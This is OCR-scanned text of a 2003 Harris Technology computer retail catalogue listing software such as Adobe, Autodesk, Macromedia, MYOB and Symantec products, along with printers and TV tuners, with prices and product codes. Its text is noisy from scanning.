Sales: 1300 13 9999 Web: www.ht.com.au 

Fax: 1300 13 6666 Email: sales@ht.com.au 



Order on-line 
www.ht.com.au 






























^^K^OCERa 


^Prices are subject to change. Check here for latest prices & products 


The Greatness of Presence 


In stock at all 
stores but can be 
ordered for Pick¬ 
up or Delivery! 


FS-1010 14ppm A4 ECOSYS Standalone 
Laser Printer 


The FS-1010 Is packed with so many features as standard, it represents 
incredible value for money. With the fastest processor in its class, the first 
page is delivered in less than 12 seconds and the print speed is a lightening 
quick 14ppm. 



The FS-1010 offers the latest in connectivity with both USB and parallel ports 
standard along with PostScript level 2 (KPDL2) emulation. In combination with 
the 600x600dpi resolution (up to 2400x600dpi with KIR2), the FS-1010 
provides high quality printing that is guaranteed to impress. 


With 16Mb of standard memory, ultra low printing costs and a 3 year return to 
base warranty, the FS-1010 is undeniably the best value entry level laser 
printer on the market. 


Features: 

• Up to 14 pages per minute Laser Printer 

• 16Mb Memory (upgradable to 144Mb). 

• USB Interface Standard. 

• PostScript Level2 emulation (KPDL2) standard 

• PowerPC 405 200Mhz CPU 

• 3 years return-to-base warranty 



FS-1010 Rent* $7.59/wk (D7681) $678 
FS-1010N with network Rent* $9.74/wk (D7683) $869 


ro)do 


fPrices are subject tochange. Check here for latest prices & products! 


Your Digital Media Company 



Easy CD & DVD Creator™ 6 is Roxio’s new Digital Media 
Suite™! This powerful, easy-to-use and fully integrated suite 
of digital media applications includes everything you need to 
capture, organise, edit, burn and share your music, data, 
photo and video files on CD or DVD - all in one product! 

For Corporate, Government and Educational Instritutions 
please call for Volume Licencing 1300 13 9999. 


HARRIS 

TECHNOLOGY™ 


Videowave 

Movie Creator 


(G8187) 


$139 



Create your DVD movie in minutes with 
Roxio VideoWave® Movie Creator! Automatically transform 
your video and favorite song into a compelling movie with 
introductions, transitions, titles and effects. 


Videovvave 

Power Edition 


(J2118) 


$199 



Roxio’s VideoWave® 5 Power Edition, the ' 
complete video editing and DVD authoring solution, combines 
professional tools with a drag-and-drop interface to make 
power editing easy. 



































^egas®4.0 


f Prices are subject to change. Check here for latest prices & productsif 


i 


Multimedia Tools 


PREVIEW THROUGH FIREWIRE 


egas® 4.0 is the professional’s choice 
)r video editing, audio production, 
ompositing, titling and advanced 
ncoding on the PC platform. With its 
intuitive interface and powerful 
ideo and audio production tools, Vegas 
rovides a complete and integrated 
olution for digital video production, audio 
scording, editing and mixing, streaming 
ontent creation, and surround sound 
roduction. Vegas 4.0 provides real-time 
reviewing of effects and transitions 
om the timeline without needing to 
inder, through any OHCI firewire card - 
ven on a notebook! 

{H1946) 



Vegas® 4.0 + DVD 

Vegas 4 + DVD includes DVD 
Architect, a powerful DVD 
Authoring tool which 
includes a Dolby Digital 
ACS® Encoder! 

DVD Architect works seamlessly 
with Vegas 4.0, providing video 
professionals and DVD producers 
with a complete solution for DVD 
authoring. Vegas 4.0 markers are 
automatically recognized and 
imported into DVD Architect as 
chapter points. 



(HI 952) 


$1,299 - 



CD Architect" V5 

Produce professional audio CDs to Red 
Book specification with Sonic Foundry’s 
new CD Architect 5.0. Perform full PQ 
code editing, trim events from full-length 
media and add as new tracks, import 
regions from Sound Forge as tracks, 
master audio by applying over 20 real¬ 
time DirectX® effects to events and the 
master output, and perform disc-at-once 
CD burning. Shipping with Noise 
Reduction 2.0 for a limited time! 


(G9002) 


$319 


TV Tuner Card 
& Video Recorder 

PVR 350 now with TV Video Out! Now you can record TV 
programs in DVD quality and play them back on your TV! 

Use your PC as a true Digital VCR! PVR 350 includes FM tuner. 
PVR 250 and PVR USB offers playback to your PC display. 


ACID Music 3.0 

(D4410) r 

$225 

ACID DJ 3.0 

(D4342) 


Sound Forge 6 

Edit, Record, Process & 
Encode Audio on your PC 

This industry-standard application is 
perfect for audio editing, recording, 
effects processing and rich media 
encoding. Version 6 continues to 
improve by adding features that make it 
(B8616) faster and more powerful 

^ IF M ^ than ever! 

Sound Forge Studio 6 also Available (G3738) 



Hauppauge TV USB 


Watch TV on 
your Notebook 

The Hauppauge TV USB and TV USB 
FM allow you to watch TV on your 
notebook using its USB interface. The 
compact external unit also accepts 
video from a VCR or camera. Basic 
capturing functionality 
also provided. 



,$255 


TV USB (89066) 

TV USBFM Radio (98455) $309 


Video Factory 2.0 

VideoFactory 2.0 allows you to 
capture and edit digital video on your 
PC. It’s perfect for home movies, web 
videos, music videos, weddings, 
corporate presentations and much, 
much more. It’s packed with 115 effect 
presets and 170 customisable 
transition presets that apply in real-time 
or you can customise your own! 
Supports OHCI DV cards. 


(D1566) 

Hauppauge TV GO 

Watch TV on “ 

your Desktop 

The Hauppauge TV Go and TV Go 
FM allow you to watch TV on your 
desktop, either in a window or full 
screen. Both models feature 
Stereo audio, teletext capability, ^ C C 

VCR input as well as basic TV -GO (89063) 9 199 
capturing. FM model comes dl >1 

with a free Remote control! jv -GO FM (HI477) 9« ■ ^ 


PRICING AND SPECIFICATIONS MAY CHANGE. PLEASE REFER TO PAGE 2 FOR DETAILS.] 

Sales: 1300 13 9999 Web: www.ht.com.au 
Fax: 1300 13 6666 Email: sales@ht.com.au 




Would you like 
Fly Buys with that?! 






































































\TAdobe 


(Prices are subject to change. Check here for latest prices iT^foducts!!) 


nspiration becomes reality... 



Acrobat® 6.0 Standard 

Adobe® Acrobat® 6.0 Standard 
software enables business 
. 1 professionals to quickly and 
^ easily convert any Microsoft® 
Office, Internet Explorer, or 
other paper or electronic 
document to a reliable Adobe 
Portable Document Format 
(PDF) file, which can be 
exchanged with and reviewed 
by colleagues and customers. 
Intuitive tools automatically 
track, manage, and incorporate 
review feedback. 

WIN (H9951) ^ 

MAC (H9953) 55Z9 

>GRADE TO STANDARD V6.0 WIN (H9957) 

r. 4.0 & 5.0 MAC (H9958) $199 

>GRADE TO PRO V6.0 WIN (H9959) 

om 4.0 & 5.0 MAC (H9960) $299 


JLL VERSION 


Acrobat® 6.0 Professional 



Adobe® Acrobat® 6.0 
Professional software provides 
robust new tools to enable 
business, creative, and 
engineering professionals to 
reliably and efficiently exchange 
graphically complex documents. 
Create Adobe Portable 
Document Format (PDF) files 
with one button click from 
Microsoft® Office and Internet 
Explorer, as well as from 
Microso^ Project, Microsoft® 
Visio, and AutoCAD®. Create 
electronic forms, and 
automatically manage and track 
document reviews with new 
electronic tools. 


Not all items are 
in stock at all 
stores but can be 
ordered for Pick¬ 
up or Delivery. 

HARMS 

TECHNOLOGY. 


FULL VERSION 


WIN (H9954) 
MAC (H9956) 


$879 


Free upgrade to Acrobat 6 Standard if these full versions of the Collections are 
purchased between the 8th April 2003 and 8th July 2003 



^Design 

Collection 

lAifcbe Contains the 

following design 
and publishing 
applications 
lnDesign®2.0, 
Photoshop® 7.0, 
Illustrator® 10.0 and 
Acrobat® 5.0. 
Together these 
ograms give you everything you need 
create & produce professional images, 
ustrations & layouts and to publish 
Dcuments across media. 

FULL VERSION 
WIN (E7819) 

MAC (F1131) 92^149 

EDUCATION VERSION 
WIN (G6186) 

MAC (H0043) 


r 1 Publishing 
Adobe Collection 


$739 



Powerful 
applications 
for business, 
education and small 
office/ home office 
professionals 
PageMaker® 7.0, 
Photoshop® 7.0, 
Illustrator® 10.0 and Acrobat® 5.0. This 
software, with included templates and 
graphics, will help you to create and 
deliver graphically rich communications 
for print and the web. 

FULL VERSION 
WIN (E7784) 

MAC (H0060) 92^199 

EDUCATION VERSION 

WIN (G3985) 

MAC (H0061) $899 



r 1 Digitai Video 
Adobe Coliection 

The Adobe® Digital 
Video Coliection 
Premiere® 6.5, After 
Effects® 5.5, 
Photoshop® 7.0, 
and Illustrator® 10 
software delivers 
professional tools 
for putting your 
ideas into motion. Whether you produce 
DV projects for film, videotape, DVD, 

CD, broadcast media, or the Web, you'll 
gain the creative control you need to 
achieve superb results. 


FULL VERSION 

WIN (G1995) 

MAC (G1994) 92^099 



ADOBE® WEB 
COLLECTION 

WIN (G7673) 


W Photoshop Album 1.0 Photoshop Elements 2.0 


Adobe 


Get photos with one click from your 
digital camera, CDs, scanner or 
computer. Assemble slide shows, 
Photoshop Album - make photo albums, create cards, 
calendars, and books & fix photo 
flaws. Share photos via e-mail or 
online, print pages of pictures and 
never waste photo paper again! 
Easily share photos and slide 
shows in Adobe PDF so anyone 
can view them with free Adobe 
Acrobat Reader softwa^ 

WIN (G9932) $95 


Adobe 

[Adobe 

Hwtodiop Elements 2.0 




Adobe® Photoshop® Elements 2.0 
software provides the perfect 
combination of power and 
simplicity so you can do more with 
your photos. From quick 
corrections to creative editing, you 
can easily achieve high quality 
results. Whether you use 
a digital camera or a scanner, 
Adobe® Photoshop® Elements 2.0 
makes digital imaging a breeze. 


WIN (F7751) 


$165 


PRICING AND SPECIFICATIONS MAY CHANGE. PLEASE REFER TO PAGE 2 FOR DETAILS. 

Sales: 1300 13 9999 Web: www.ht.com.au 
Fax: 1300 13 6666 Email: sales@ht.com.au 



Delivery 

Australia-Wide 
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Autodesk VIZ 4 



^ » I i ® ' www.ht.com.au/cat/autodesk 

What today’s CAD designers want 



In any industry that requires 
technical drawings, speed and 
efficient use of data are critical to the 
success of design projects. This is 
where AutoCAD® 2004 software can 
help. It provides new productivity 
tools, an improved user interface, 
and presentation graphics for faster 
data creation. It offers password 
protection, CAD standards tools, and 
support for multisheet DWF™ (Design 
Web Format™) files for easier data 





sharing. It also provides new network 
licensing and software inventory tools 



‘ for mote efficient iicence tracking and 
management. 


I AutoCAD LT® 2004 is the affordabie 2 
I CAD software that helps you create 
I and share drawings more efficientiy 
I and secureiy. AutoCAD LT streamlint 
I the drafting process with an optimize 
" DWG fiie format, a more intuitive 
interface, and new and enhanced 
- productivity-boosting design toois. 

I makes sharing design data more 
I secure with the abiiity to appiy digitai 
I signatures to your DWG flies or deiiv 
in the view-and-piot-oniy DWF' 
(Design Web Format™) fiie format. Pi 
it provides fuil DWG compatibiiity witi 
AutoCAD® 2004 and AutoCAD 2004- 
based, industry-specific software. 


$ 7,685 


Full Version (H2415) 


$ 1,999 


Upgrade(H2416)i 


$649 


Volo™ View 2 


Bring your designs alive with Autodesk 
VIZ 4, a multimedia software tool that 
provides a visually rich, 3D, interactive 
user interface Autodesk® VIZ 4 is easy to 
use & is interoperable with AutoCAD® 
applications. Upgrades also available. 


$ 4,180 



Volo™ View 2 software is a cost-effective, 
easy-to-use, digital design viewing solution 
that lets everyone on your team electronically 
review, mark up, measure, and plot 
AutoCAD® and Autodesk® Inventor™ based 
drawings. Upgrades also available. 


,$ 38 $ 


AutoSketch® 8 


QuickCAD™ 8 



From concept sketches, information 
graphics and floor layouts to presentations, 
electrical drawings and home project plans, 
you can draw it - quickly and accurately - 
with AutoSketch® Release 8 software. 


,$229 


■ 


Begin designing on a computer right away 
with QuickCAD™ Release 8. Plenty of 
productive features let you make technical 
designs and diagrams, and you can start 
drawing the very first time you use it. 


$ 13 $ 



I Student Edition* - Designed for Professionals, Priced for Students. 


Manufacturing Design Solution 

• Autodesk® Inventor 

• Autodesk® Mechanical 
Desktop 

• AutoCAD® Mechanical 



Buiiding Design Solution 

> Autodesk® Revit 

• Autodesk® Architectural 
Desktop 

• Autodesk® VIZ 


,$ 27 $ 


I PLUS: 

• AutoCAD® 



$ 27 $ 


Land & Civil Design Solution 

• Autodesk® 

Land Desktop 

• Autodesk® Survey 
•Autodesk® CIVIL 


PLUS: 





,$275 


PRICING AND SPECIFICATIONS MAY CHANGE. PLEASE REFER TO PAGE 2 FOR DETAILS. 


lg| 


ARE SUBJECT TO 








































f Prices are subject to change. Check here for latest prices & products!!) 


>ave time - save money with WordPerfect 



IRAND NEW VISION 

irfect* Classic Mode: 

Blue Screen and Keyboard functions 


WordPerfect® Office 11 

WordPerfect® Office 11 includes; 

• WordPerfect® 11 - word processor 

• Corel™ Presentations™ 11 - Slide show creator 
GREAT NEW FEATURES INCLUDE: 

• Enhanced compatibility with Microsoft* Office (supporting older file versions of Microsoft® products 
that they do!) 

• XML Integration: New Publish to XML in WordPerfect, Quattro Pro and Presentations, New import 
XML Editor in WordPerfect* 

• Enhanced Publish to PDF from WordPerfect® and presentations 

• New! Document Map • New! CoHaborative Review 

• New! Outlook Address book integration • New! Enhanced CrossTab Reports 

What’s more it does not matter what version or what Office Suite or stand 
alone Office application you currently own, you can upgrade/crossgrade to 
the latest version of WordPerfect Office 11 for $288 


Not all items ate 
in stock at all 
stores but can be 
ordered for Pick¬ 
up or Delivery< 

HARRIS 


Upgrade (10323) 



CorelDRAW® 11 

Intuitive graphic design for print and the Web 

If you own previous versions of CorelDRAW® or any other vendor’s graphics application (such as Adobe® 
lilustrator*) you can upgrade or cross grade to 

the latest version of CorelDRAW 11 for Upgrade (G0515) 

*Upgrade/cross grade offer that allows previous owners of CorelDRAW as well as users of any other graphics 
software product/s to purchase CorelDRAW 11 at the upgrade price of $299.00 inc GST. For cross grading from 
competitive products you simply need to call Corel Customer Service on 1 800 65 88 50 to receive the unlock key 
to use the product' You will need to give the serial number of the competitive product. 


Painter™ 8 

The ultimate digital sketching and painting tool! 

And you can own the 
New Version for 

Upgrade (J2866)$328 


To take advantage of this offer all you 
need to do is upgrade from any version 
of CorelDRAW or cross grade from any 
graphics software application to the latest 
version of Painter 8 for only $329*. 



of Painter 8 at the upgrade pri 


m vendors graphics products to purchase ttv 



Sales: 1300 13 9999 
Fax: 1300 13 6666 


Upgrade (G0212) 


Web: www.ht.com.au 

Email: sales@ht.com.au 



CorelDRAW® Graphics Suite 11 

Includes Three Great Products: 

CorelDRAW 11 Intuitive graphic design for print and the Web 
Corel PHOTO-PAINT* 11 Fast, easy and powerful photo editing 
Corel R.A.V.E.™ 2 Web graphics and animation 

Academic Offer! Education 

Students can purchase the award \ i n 

winning CorelDRAW Graphics VeiSIOn 
Suite 11 for only $125* - 


Proof of valid student status (c... ._ 
purchaser) must be provided in enter to 
qualify for this pricing. 


iGrafo® Flowcharter™ 2003 

You will be able to enjoy improved productivity and ease-of-use when creating 
flowcharts, process maps, and other business diagrams with iGrafx® Flowcharter™ 
2003, the newest version of the award winning ABC Flowcharter™. Document even 
the most complex processes, systems, or organisation charts in record time using 
the intuitive drawing features of iGraf* Flowcharter 2003, then output to Web, print 
or presentations. 

‘This product is an upgrade box product. Users c 
flowcharting software such as Microsoft* Visio. 


$199 


























macro media 


^Prices are subject to change. Check here for latest prices & produ^ 




m 


What the web can be 


Not all items ate | 
In stock at all 
stores but can be I 
ordered for Pick- I 
up or Dellverya f 

HARRIS 


TECHNOLOGY™ 



STUDIO MX PLUS 


The essential suite of tools for building 
websites and rich internet applications. 
Includes Flash MX, Dreamweaver MX, 
Fireworks MX, Freehand MX, 
Coldfusion MX Developers Edition, 
Flash 6 player, DevNet Resource Kit 
Special Edition and Contribute. 


$1r769 





FLASH MX 
COMMUNICATION 
SERVER PROFESSIONAL 

Develop the next generation of online 
communications, deliver multi-way audio, 
video, and real-time data in your 
websites and Rich Internet applications. 
Change the way we communicate and 
collaborate online. Create engaging pre¬ 
sales applications that integrate audio, 
video, text, chat, and enterprise data. 
PROFESSIONAL EDITION WIN (10216) $7,799 

PERSONAL EDITION WIN (I0215) $849 


FLASH MX 

Provides everything you need to 
create rich Web content and powerful 
applications. From designing motion 
graphics to building data-driven 
applications. Tools to deliver the best 
user experience across multiple 
platforms and devices. 


$999 


FREEHAND MX 

Concept and design visually-rich 
graphics for print and web with 
Macromedia Freehand MX, the multi¬ 
publishing design solution with 
powerful illustration and drawing tools 
and an open, streamlined workflow. 


FULL VERSION WIN (H9758) 
MAC (H9759) 


$789 



DREAMWEAVER MX 

Create, build and manage websites 
and Internet applications. Enjoy the 
renowned visual layout tools and the 
rapid web application development 
features of Dreamweaver UltraDev and 
the extensive code-editing support of 
Macromedia homeSite. 

WIN (F0137) 

MAC (H9763) 9099 


DEVNET SUBSCRIPTIONS 

A new service designed to provide 
Macromedia professionals with the powerful 
technologies and resources to create and 
deliver exceptional digital experiences.The 
service is available in two tiers:Macromedia 
DevNet Professional and DevNet Essentials. 


PROFESSIONAL 

ESSENTIALS 


WIN (J1959) 


N(J1958) 


$2,759 

$589 


COLDFUSION MX SERVER PROFESSIONAL 

Easily build rich Internet applications that integrate with databases, XML, web services, Macromedia 
Flash, and more. ColdFusion MX empowers developers with a productive scripting environment and 
integrated search and charting capabilities. Deploy on industry-standard operating systems and 
harness the power of the Java and .NET platforms with the legendary ease of use of ColdFusion. 


FULL VERSION 


N(F0364) 


$2,249 


DIRECTOR MX 

Combine any media, deliver anywhere and reach everyone with Director MX, the powerful multimedia¬ 
authoring solution. With Director, you can build rich accessible content that delivers real results, 
integrating interactive audio, video, bitmaps, vectors, text, fonts, and more. Work more effectively 
within the familiar Macromedia MX user interface and take advantage of unprecedented Macromedia 
Flash MX integration. Shockwave MX player included. 

FULL VERSION WIN (G6770) 

MAC(Hg767) $2,575 


MACROMEDIA CONTRIBUTE 


Now anyone can update, add and publish content to existing websites without knowing HTML. With 
Macromedia Contribute non-technical users can update any HTML website including sites built in 
Dreamweaver, Frontpage, and other tools, without affecting the quality of existing HTML code. This 
means spending less time on content maintenance while retaining control over website style, layout, 
permissions, and code. Contribute is a stand alone product that also works seamlessly with 
Dreamweaver MX so you can quickly integrate Contribute to your existing workflow. ^ 

FULL VERSION WIN (G4726) $219 


HARRIS 
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PRICING AND SPECIFICATIONS MAY CHANGE. PLEASE REFER TO PAGE 2 FOR DETAILS. 

HHIH FINANCE METHODS 
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lAfhy not get more from your software? 



StarOffltS 


StarOffice'“6.0 software from Sun™, for people in 
your company who create typical word processing, 
spreadsheet and presentation documents, it’s just 
the software they need - at a low cost. Users will 
find the suite familiar, intuitive and easy to master. IT 
staff will find that the file compatibility between 
StarOffice™and Microsoft® Office suites means that 
you can deploy both products within your enterprise. 

StarOffice™ also has the flexibility to run on the 
Solaris™, Linux® and Windows® platforms. 


1 user (F0616) $199 

5 users pack (J2597) $749 

10 users pack (J2598) $1,399 

25 users pack (incl.maint.& support*) (J2599) 3,599 

30+users pack per license (incl.maint.& support*) (J2600) $129 

* You are entitled to 12 months 9 - 5 email support & free upgrades from Sun'“Microsystems with 
the purchase of 25 or more licences. 

MULTIPLATFORM: Linux, Solaris™, Windows® 

COMPATIBILITY: All Office suites including Microsor Office. 

COMPONENTS: 

Star Office Writer: A powerful tool for creating professional documents. 

StarOffice Calc: A sophisticated spreadsheet application with decision making analysis. 

Star Office Impress: A tool for creating effective multimedia presentations. 

StarOffice Draw: A powerful graphics application that enables the creation of dynamic 3D Illustrations. 

StarOffice Base: A dynamic, data source management tool allow you to connect, administer, and access a I 
wide range of data sources. 

SYSTEM REQUIREMENTS: Solaris: 8,7 or 2.6 operating systems Linux; kernel 2.2.13 or higher, Windows®: 
98/NT/2000/Me/XP 


Fast 

Delivery 

Australia- 

Wide 


RICING AND SPECIFICATIONS MAY CHANGE. PLEASE REFER TO PAGE 2 FOR DETAILS. 

Sales: 1300 13 9999 Web: www.ht.com.au 
Fax: 1300 13 6666 Email; sales@ht.com.au 



See Page 2 
for Locations 




















Leg rand 

^ CRM Software 


f Prices are subject to change. Check here for latest prices & products 


"Australia's Easiest to Use Contact Manager”^ 



Legrand CRM helps you: 


• Track interaction with all contacts at any customer organisation, 
including phone calls, tasks, appointments, letters or emails. 

• Quickly see which sales opportunities are faltering so your sales 
team can take action to make sure they close the sale. 

• Analyse the success of marketing campaigns so you can see wher 
to spend future marketing dollars. 

• Manage email and mail merge activities by quickly and easily 
building lists and producing letters directly to MS Word or emails to 
MS Outlook. 

• Answer questions on the status of customers accounts quickly 
through Legrand CRM’s interaction with MYOB, FinancePlus, Paste 
and Sybiz accounting systems. 

•Rated by Technology and Business Magazine, October 2002 
Tracking Sales by Steven Turvey. 


V2 Standard Single User (Hg562) $219 
V2 Standard 3 Users (H9563) $608 


V2 Standard 5 Users (H9564) $859 

V2 Standard 10 Users (H9565) $ 1,459 


•% 

• crystal decisions 


f Prices are subject to change. Check here for latest prices & products! 

iiiwM 


Powerful Information Delivery for the Web 




With Crystal Reports, you can transform almost any data into interactive content, integrate it into .NET, Java, and COM 
applications and efficiently share it via portals, Microsoft® Office® documents, and wireless devices. 

I Go to http://www.crystaldecisions.com/products/crystalreports/ for more information. 


I Crystal Reports 9 Advanced Edition 

Mrect 


Designed for creating, integrating and deploying reports within complex enterpri 
web and wireless applications without increasing development overhead.The 
Advanced Edition is a high productivity reporting technology for tightly integrating 
reports into .NET, Java, and COM applications. It includes all the features of the 
Developer Edition plus additional web flexibility for custom data access, runtime 
report design and modification, and deployment. 

NEW: Included with Advanced is Crystal Enterprise Standard _ 

A managed web reporting solution for fast and easy delivery of reports to end users 
via the Web. Any Crystal Report can be instantly published to the Web for end users 
to access, schedule and view" 


4 for I Crystal Reports 9 Developer Editio 

^ more 
products 
and 
latest 
info! 


Designed for creating and integrating reports into basic thick-client and web 
applications, the Developer Edition includes the report design and productivity 
tools of the Professional edition plus powerful application integration technology, i 





II Version (F9621) $ 3,099 
Upgrade (F9619) $ 2,699 


Full Version (F9617)$915 
Upgrade (F9614)$539 


Designed for high productivity report creation and small-scale distribution, the 
Professional Edition includes data connectivity and report design technology plus 
an introductory license for web-based report viewing by small teams. 


end user needs. This managed solution empowers pow« 

own reports, allowing all levels of stakeholders in the si_,__ 

easily gain insight into their organization and make intelligent decisions. 


HARRIS 


TECHNOLOGYn. 



Professional (J2867)$765 
jgrade (J2868 )$399 


D SPcCIriCATIC 


Y CHANGE. PLEASE REFER TO PAGE 2 FOR DETAILS. 




























lYOB' helping more Australians to mind their own business^ 


Get behind the wheel of MYOB Mftware an d you could WIN 
MGZT180 worth $70,0001 

Purchase the latest version or 
an upgrade of (available from 1 May 2003): 

BusinessBasics, Accounting, Accounting Plus, 

Premier or RetailManager by 31 July 2003 and you 
will automatically be in the running to WIN! 



Not all items are 
In stock at all 
stores but can be 
ordered for Pick¬ 
up or Delivery* 


WIN a new MG ZT! 


For terms and conditions of entry, please visit the following website: 
http://www.myob.com.au/products/mgzt_offer/index. html 


MYOB BusinessBasics 

Easy business and accounting software 

Does manual bookkeeping make you see red? 

If you’re running a business on your own or from home, MYOB 
BusinessBasics is the ideal. MYOB BusinessBasics simplifies the way you 
quote, track and invoice your jobs, manages your GST and BAS, and provides 
you with over 70 useful reports. 


MYOB Accounting Pius V13 

Business, payroll and time management software 

If you employ staff, there’s an easy way to manage your business. 

With an award-winning integrated payroll, MYOB Accounting Plus makes 
processing all your pays, PAYG and other employee entitlements a breeze. 

You can also easily track and charge for your time with a 

combined time and material invoice system. ^ 

Full (Hgg44)$595 
Upgrade (Jtgoo) 


MYOB Premier V7 

Powerful multi-user business management software 

MYOB Premier gives you the power to manage even the most complex 
medium-sized business, with multi-user functionality, a powerful multiple pricing 
level inventory, multiple currency transaction functionality, integrated payroll and time 
billing. MYOB Premier is also issued with access to one year of fuli supporf". 
‘Conditions appiy 

See www.ht.com.au/cat/myob for details or call us on 1300 13 9999 

Full(H3813) $1,450 


PRICING AND SPECIFICATIONS MAY CHANGE. PLEASE REFER TO PAGE 2 FOR DETAILS. 

Sales: 1300 13 9999 Web: www.ht.com.au 
Fax: 1300 13 6666 Email: sales@ht.com.au 
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^ Symantec- 


("Prices are subject to change. Check here for latest prices & produ^ 


Small Business Solutions 


Not all items ate 
In stock at all 
stores but can be 
ordered for Pick¬ 
up or Delivery! 


HARRIS 

TECHNOLOGY. 



Wine 

on-line? 



Symantec 

Antivirus 

Small Business 
Solutions 1 

ifl: 



1 ifMy 

m 

Smaii Business 
Edition 

Edition pius AV 
Fiitering for MS j 
Exchange 

Smaii Business 
Muiti-Tier 
Protection 

Symantec ’ 
Ciient 1 
Security 

Multipacks 5 & 10 users 

a/ 

V 

a/ 

a/ 

Desktop AV Protection 

a/ 

a/ 

a/ 

a/ 

Network Server Protection 

a/ 

a/ 

a/ 

a/ 

Administrative Settings 

a/ 

a/ 

a/ 

a/ 

Management Consoie 

a/ 

a/ 

a/ 

a/ 

1 Year Upgrade Insurance 

a/ 

a/ 

a/ 

a/ 

1 Year Technical Support 

a/ 

a/ 

a/ 

a/ 

Desktop Firewall Protection 




— ^ 

intrusion Detection 




a/ 

MS Exchange Maii Server Protection 


a/ 

a/ 


Gateway AV Protection 



a/ 


Lotus Domino Maii Server Protection 



a/ 


5 User 

(G0215) 

(G0218) 

(G4537) 

(G1129) 


$645 

$809 

$1,109 

51,265 

10 User 

(G0216) 

(G0219) 

(G4536) 

(G1130) 


$1,135 

$1,405 

$1,955 

$2,225 



Symantec FirewallA/PN Appliance 


(Models 100, 200, 200R) 

Easy-to-Use, All-in-One Appliance comes in three 
models to meet varying network traffic and remote 
access requirements, with no per-user licencing 
requirements. Installs quickly and easily, offering small 
offices a turnkey solution for securing outbound and 
inbound Web, email, FTP traffic and more. 



•Symantec FirewallA/PN Model 100 

(5 ports)—Provides plug and play networking, web access, firewall and 

VPN security for up to 25 users*. Rent* $8.17/wk 


$729 


(E0950) 

• Symantec Firewall/VPN Model 200 

(10 ports)—Brings firewall and VPN protection, load-balancing and high Jt jm 

availability to offices with up to 40 users*. Rent* $15.90/wk (E0960) 5 ■ ® 

• Symantec FirewallA^PN Model 200R 

(10 ports)— Brings firewall and VPN protection, load-balancing and high 
availability to offices with up to 40 users*. Also includes the remote Symantec 
VPN Client (with integrated personal firewall) that lets you set up a remote 

virtual private network to securely connect mobile users. Rent* $21.28/wk (E0963) $1^899 



■ rwSr i 

HHHH lib— I 
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^ Symantec. 


fPrices are subject to change. Check here for latest prices & products!!) 


rhe leader in Internet Security 


SYMANTEC SUPER TAX TIME BUNDLE 

First Bundle: ^ 

Norton AntiVirus 2003 and Norton Personal (J2886t S129 

Firewall 2003 

Second Bundle: 

Norton AntiVirus 2003 and Norton Personai Firewail 2003 
and Beikin Home Office Series 4 way surge protector 

Sold Individually: 

Norton Antivirus 2003 

Single User (F9859) $89 

5 Use (G2239) $259 

Norton Personal^Firewall 2003 (G0282) $82 


(J2887) 


$149 



Norton SystemWorks"' 2003 

Symantec’s Norton SystemWorks™ 
2003 is the smartest way to solve 
computer problems. It includes award¬ 
winning Symantec products and additional 
utilities to keep your PC running at its best. 
Includes: 

•Norton AntiVirus"'2003 

• Norton Utilities” 

• Norton CleanSweep" 




(F9860)$125 


(F9863) $165 



Norton Internet Security "'Pro _ ,| 

Norton Internet Security” 

2003 Professional 
Edition protects you 
and your business from 
online threats. It keep 
your PC safe from 
viruses and hackers 


privacy. 

{G0280) $159 


Single User (G0279) $119 
5 User (G1162) $375 



Norton SystemWorks™ 2003 Pro 

Symantec’s Norton SystemWorks™ 2003 
Professional Edition provides advanced 
problem-solving solutions to maximise PC 
performance, includes full version of Norton 
Ghost™ 2003. 

Includes: 

• Norton AntiVirus™ 2003 

• Norton Utilities™ 

• Norton CleanSweep” 

• Norton Ghost™ 2003 

• GoBack Personal Edition 

Norton pcAnywhere™ V10.5 

Symantec’s 
pcAnywhere™ Is the 
world’s leading remote 
control software. Encryption 
and authentication ensure 
secure access to remote 
computers. PcAnywhere’'' 
also works with cable & 
DSL modems for faster 
remote connections. 
Hosts Remote (D8088) $239 
V10.5/5User(D5935) $479 
Norton Internet Security™ Standard 
Symantec’s Norton Internet Security™ 

2003 provides essential protection from 
viruses, hackers, and privacy threats. 

Includes: Norton AntiVirus™ 

Norton™Personal Firewall 

Norton™ Spam Alert and Norton™ Parental Control 



Norton Winf^ Pro V10.02 


Norton Ghost™ 2003 



WinFaxPro Version 10.02 easily 
integrates with key business applications to 
simpiify management of client and 
customer interactions. Send or forward 
faxes via email, enhance Image quality of 
outgoing faxes easily, add a signature to 
outgoing faxes, drag and drop faxing. 

(D6011) $119 



Symantec’s Norton Ghost™ 2003 protects 
your data from computer disasters. The 
intuitive Windows® interface makes if easy to 
create regular backups of your hard drive. 
You don’f even need to make a boot disk. 

File restoration is simple from the 
comprehensive disk image. 


Single User (F9865) $135 5 User (G1149) $399 


Not all items ate 
in stock at all 
stores but can be 
ordered for Pick¬ 
up or Delivery. 

HARRIS 

TECHNOLOGY* 


December 2003 for 
previous customers 
only. Coupon in box, 
items via redemption. 


INTERNET SECURirr 
2003 ’$30 REBATE 
For previous owners of 
Symantec/Norton retail 
packaged product, 
preloaded (OEM) or 
downloaded full version 
Symantec software. 
SYSTEMWORKS™ 
2003 *$30 REBATE 
For previous owners 
of Symantec/Norton 
retail packaged 
product, preloaded 
(OEM) or downloaded 
full version Symantec 
software. 

SYSTEMWORKS™ 
2003 PRO 
•$50 REBATE 

For previous owners 
of Symantec/Norton 
retail packaged 
product, preloaded 
(OEM) or downloaded 
full version Symantec 
software. 

INTERNET SECURfTY 
PRO 2003 
’$40 REBATE 

For previous owners 
of Symantec/Norton 
retail packaged 
product, pre-loaded 
(OEM) or downloaded 
full version Symantec 
software. 
’Customer rebate 
requests will be sent to 


PRICING AND SPECIFICATIONS MAY CHANGE. PLEASE REFER TO PAGE 2 FOR DETAILS. 

Sales: 1300 13 9999 Web: www.ht.com.au 
Fax: 1300 13 6666 Email: sales@ht.com.au 



Would you like 
Fly Buys with that? 



and fulfilled by 
Symantec Australia. 
Offer not avaiiable to 
resellers. Academic 
versions not included It 
this offer. 
































































Quicken 



*owerful Accounting Software, Quicken.EASY! 

Quicken Personal Plus 2002 Second Edition 



Quicken Personal Plus 
gives you an accurate 
snapshot of your financial 
health at anytime. 

• Monitor your cash flow and net worth. 

• Track Bank and credit balances, income and 
expenses. 

• Keep track of investments and update stock prices 
automatically online. 

• Track superannuation 

• Create tax reports automatically 

• Import transaction statements from major banks. 

• Keep track of your home and contents with 
Quicken Home Inventory. 

• Link to online resources, eg savings, credit card 
and mortgage interest rates. 


(E5326) $119 


Quicken 

ShareAnalyser V2 


A one stop investment 
decision tooi that wili help 
you to buy and sell shares 
based on your criteria. 

• Analyse the latest share data 

